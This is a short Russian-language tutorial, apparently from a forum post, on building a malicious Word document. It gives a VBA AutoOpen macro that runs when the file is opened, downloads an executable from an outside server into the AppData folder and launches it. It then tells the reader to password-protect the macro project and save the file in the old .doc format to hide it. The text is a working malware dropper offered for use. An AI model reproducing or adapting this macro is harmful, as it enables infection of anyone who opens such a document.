Microsoft Word Doc Execute Code

[LineDev]

Запускаем Microsoft Word.
По умолчанию вкладка "Разработчик" не отображается, но ее можно добавить на ленту.
1.На вкладке "Файл" перейдите к параметрам> настроить ленту.
2.В разделе Настройка ленты в списке Основные вкладки установите флажок Разработчик.
Потом входим в режим разработки Visual Basic.

И прописываем наш код в документе.
Sub AutoOpen()
Application.ScreenUpdating = False
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://server.ru/file.exe", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile j & "\file.exe", 2 '//overwrite
End With
Shell (j & "\file.exe")
Application.ScreenUpdating = True
End Sub

Далее идём в настройки проекта и устанавливаем пароль.

Далее сохраняем файл с типом Документ Word 97-2003 (*.doc)